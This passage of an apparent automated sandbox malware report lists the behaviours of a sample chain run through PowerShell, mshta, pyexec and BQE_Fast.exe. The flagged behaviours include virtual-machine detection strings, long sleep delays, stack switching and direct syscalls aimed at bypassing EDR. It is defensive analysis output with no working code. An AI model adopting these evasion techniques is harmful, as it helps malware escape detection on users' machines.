                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\pyexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\pyexec.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess information set: NOOPENFILEERRORBOX

                    Malware Analysis System Evasion

                    barindex
                    Switches to a custom stack to bypass stack traces
                    Source: C:\Users\user\pyexec.exeAPI/Special instruction interceptor: Address: 66CF7C44
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeAPI/Special instruction interceptor: Address: 66F97C44
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeAPI/Special instruction interceptor: Address: 66F97945
                    Source: C:\Windows\SysWOW64\cmd.exeAPI/Special instruction interceptor: Address: 66F93B54
                    Source: C:\Users\user\pyexec.exeAPI/Special instruction interceptor: Address: 6CBD7C44
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeAPI/Special instruction interceptor: Address: 6CE77C44
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeAPI/Special instruction interceptor: Address: 6CE77945
                    Source: C:\Windows\SysWOW64\cmd.exeAPI/Special instruction interceptor: Address: 6CE73B54
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3887Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5904Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeDropped PE file which has not been started: C:\Users\user\python27.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sfywpwaJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yawaJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeDropped PE file which has not been started: C:\Users\user\msvcr90.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\btbiigJump to dropped file
                    Source: C:\Users\user\pyexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\AltDaemon\msvcr90.dllJump to dropped file
                    Source: C:\Users\user\pyexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\AltDaemon\python27.dllJump to dropped file
                    Source: C:\Users\user\pyexec.exeAPI coverage: 0.5 %
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeAPI coverage: 0.5 %
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1740Thread sleep time: -18446744073709540s >= -30000sJump to behavior
                    Source: C:\Windows\System32\svchost.exe TID: 2188Thread sleep time: -30000s >= -30000s
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe TID: 1340Thread sleep time: -120000s >= -30000s
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe TID: 1208Thread sleep time: -30000s >= -30000s
                    Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD3984 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,3_2_00007FF7B1DD3984
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE62F0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,3_2_00007FF7B1DE62F0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF6DC0 FindFirstFileExA,3_2_00007FF7B1DF6DC0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE90D8 VirtualQuery,GetSystemInfo,3_2_00007FF7B1DE90D8
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: http://www.vmware.com/schema/ovf/1/envelope
                    Source: Virtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: uuidvbox:uuid%RTuuidovf:formathttp://www.vmware.com/specifications/vmdk.html#sparsehttp://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimizedovf:fileRefovf:diskIdovf:capacityDiskovf:hrefFilefile%RI32VMDKLogical network used by this appliance.ovf:nameExportedVirtualBoxMachinesVirtualSystemCollectionCannot export more than one virtual system with OVF 0.9, use OVF 1.0Logical networks used in the packageNetworkSectionovf:NetworkSection_TypeList of the virtual disks used in the packageDiskSectionovf:DiskSection_TypeReferencesxmlns:vboxhttp://www.virtualbox.org/ovf/machinexmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:vssdhttp://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingDataxmlns:rasdhttp://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingDataxmlns:ovfxmlnshttp://schemas.dmtf.org/ovf/envelope/1http://www.vmware.com/schema/ovf/1/envelopexml:langen-USovf:version0.92.0Envelope"
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: %s/VBoxGuestAdditions_%ls.iso
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: http://www.vmware.com/0
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: /additions/VBoxGuestAdditions.iso
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.1!0
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: using the native ring-0 loaderpLoadReq->u.In.cbStrTab == CalcArgs.cbStrings(size_t)(CreateArgs.pSym - (PSUPLDRSYM)&pLoadReq->u.In.abImage[offSymTab]) <= CalcArgs.cSymbols(size_t)(CreateArgs.psz - CreateArgs.pszBase) <= CalcArgs.cbStringsint __cdecl supLoadModule(const char *,const char *,const char *,void **)ModuleTermModuleInitVMMR0EntryExVMMR0EntryFastVMMR0EntryIntsupLoadModule returned %RrcVBoxDrvVBox Support Driver\VBoxDrv.sys\\.\VBoxDrvVBoxNetDHCP.dllVBoxNetDHCP.exevboxwebsrv.exeVBoxBFE.dllVBoxBFE.exeVBoxSDL.dllVBoxSDL.exeVirtualBox.dllVirtualBox.exeVBoxVideoRecFB.dllVBoxHeadless.dllVBoxHeadless.exeVBoxVRDP.dllVBoxAuth.dllVRDPAuth.dllVBoxC.dllVBoxSVC.exeVBoxManage.exeVBoxOGLrenderspu.dllVBoxOGLhosterrorspu.dllVBoxOGLhostcrutil.dllVBoxSharedCrOpenGL.dllVBoxHostChannel.dllVBoxGuestControlSvc.dllVBoxGuestPropSvc.dllVBoxDragAndDropSvc.dllVBoxSharedFolders.dllVBoxSharedClipboard.dllVBoxDbg3.dllVBoxDbg.dllVBoxDDU.dllVBoxDD2.dllVBoxDD.dllVBoxREM.dllVBoxVMM.dllVBoxRT.dllVBoxDD2GC.gcVBoxDDGC.gcVMMGC.gcVBoxDD2R0.r0VBoxDDR0.r0
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27893000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973207096.00007FF724923000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: AdditionsFacilityType_VBoxTrayClient
                    Source: Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: aVmNetTx
                    Source: Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: aVmNetRx
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: http://www.vmware.com/0/
                    Source: mshta.exe, 00000000.00000003.2347800709.0000000002801000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                    Source: svchost.exe, 0000000E.00000002.2905909424.000001B41F456000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2905857214.000001B41F444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2904450972.000001B41A02B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.1
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: The service was disabled on the host. Returned by pfnInit in VBoxService to indicated a non-fatal error that should results in the particular service being disabled.
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.0
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: VBoxGuestPropSvc.dll
                    Source: powershell.exe, 00000001.00000002.1984066809.0000000006DD5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: /VBoxGuestAdditions.iso
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: Given default machine Guest Additions ISO file '%s' does not existGiven default machine Guest Additions ISO file '%s' is not fully qualifiedCannot determine default Guest Additions ISO location. Most likely they are not available%s/VBoxGuestAdditions_%ls.iso/additions/VBoxGuestAdditions.iso/VBoxGuestAdditions.iso
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: Importing virtual disk image '%s'Could not find a valid medium format for the source disk '%s'http://www.vmware.com/interfaces/specifications/vmdk.html#compressedhttp://www.vmware.com/specifications/vmdk.html#compressedVDICreating disk image '%s'%s%c%sCould not find a valid medium format for the target disk '%s'"
                    Source: Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: AdditionsFacilityType_VBoxGuestDriverWWW
                    Source: cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: noreply@vmware.com0
                    Source: mshta.exe, 00000000.00000003.2347800709.0000000002801000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                    Source: Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: !0R4AdditionsFacilityType_VBoxServiceWWW
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: VBoxGuestControlSvc.dll
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: http://www.vmware.com/specifications/vmdk.html#compressed
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: IOCtl to VBoxGuest driver failed.
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: VBoxTray.exe
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: http://www.vmware.com/specifications/vmdk.html#sparse
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: Virtual HDD is not opened.
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpBinary or memory string: VBoxTray.exeexplorer.exeint __cdecl rtProcWinCreateAsUser1(unsigned short *,unsigned short *,unsigned short *,unsigned short *,struct RTENVINTERNAL *,unsigned long,struct _STARTUPINFOW *,struct _PROCESS_INFORMATION *,unsigned int)pfnCreateProcessWithLogonW (%p) failed: dwErr=%u (%#x), rc=%Rrc
                    Source: Virtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mvmware
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: http://www.vmware.com/interfaces/specifications/vmdk.html#compressed
                    Source: Virtual.exe, 0000000F.00000002.2279098328.00007FF690DC3000.00000002.00000001.01000000.0000001B.sdmpBinary or memory string: b!0R4AdditionsFacilityType_VBoxServiceWWW
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeAPI call chain: ExitProcess graph end nodegraph_3-19445
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEA3B8 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00007FF7B1DEA3B8
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_00401CB0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,OutputDebugStringA,__iob_func,fprintf,4_2_00401CB0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF7E40 GetProcessHeap,3_2_00007FF7B1DF7E40
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE99D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_00007FF7B1DE99D8
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEA3B8 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00007FF7B1DEA3B8
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEA59C SetUnhandledExceptionFilter,3_2_00007FF7B1DEA59C
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEE7F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00007FF7B1DEE7F4
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,4_2_004030A8
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_00402CAD SetUnhandledExceptionFilter,4_2_00402CAD
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_67148908 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,4_2_67148908
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,6_2_004030A8
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_00402CAD SetUnhandledExceptionFilter,6_2_00402CAD
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_66B18908 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,6_2_66B18908

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Found direct / indirect Syscall (likely to bypass EDR)
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF6651C24D7
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryValueKey: Direct from: 0x14011D93E
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF6652FF749
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF66515DB8F
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtAllocateVirtualMemory: Direct from: 0x7FFDFB968E14
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665303A87
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtClose: Direct from: 0x14011D864
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtAllocateVirtualMemory: Direct from: 0x110
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtClose: Indirect: 0x14012000F
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF665296641
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665151E76
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF6650A88DA
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtCreateFile: Direct from: 0x7FF6652F8C23
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtDeviceIoControlFile: Direct from: 0x7FF6651C57F3
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF66515D5CC
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtClose: Direct from: 0x386B000
                    Source: C:\Users\user\pyexec.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtSetInformationProcess: Direct from: 0x7FF66516E9D4
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtReadVirtualMemory: Direct from: 0x7FF6652F8A4B
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF66529EAA6
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtDeviceIoControlFile: Direct from: 0x7FFE221C26A1
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtOpenKeyEx: Direct from: 0x7FF66518B398
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeNtSetInformationThread: Direct from: 0x6C932315
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF665294E6F
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryInformationToken: Direct from: 0x7FF6651BFC32
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeNtQuerySystemInformation: Direct from: 0x401CF4
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtAllocateVirtualMemory: Direct from: 0xA0A76ACB
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF6652FC6FA
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtClose: Direct from: 0x2
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF665297961
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtClose: Direct from: 0x7FF6652FDD7B
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtProtectVirtualMemory: Direct from: 0x3
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryValueKey: Direct from: 0x7FF66518BF20
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF6651C3346
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF6651FACE0
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryValueKey: Direct from: 0x7FF66518C23C
